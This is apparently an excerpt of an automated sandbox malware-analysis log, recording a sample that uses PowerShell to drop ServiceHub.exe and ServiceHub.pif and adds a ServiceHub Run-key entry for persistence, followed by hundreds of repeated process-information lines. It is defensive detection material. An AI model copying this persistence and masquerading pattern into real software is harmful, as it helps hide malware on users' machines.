            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\ServiceHub.exeJump to dropped file
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeFile created: C:\Users\user\Documents\ServiceHub.pifJump to dropped file
            Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ServiceHubJump to behavior
            Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ServiceHubJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
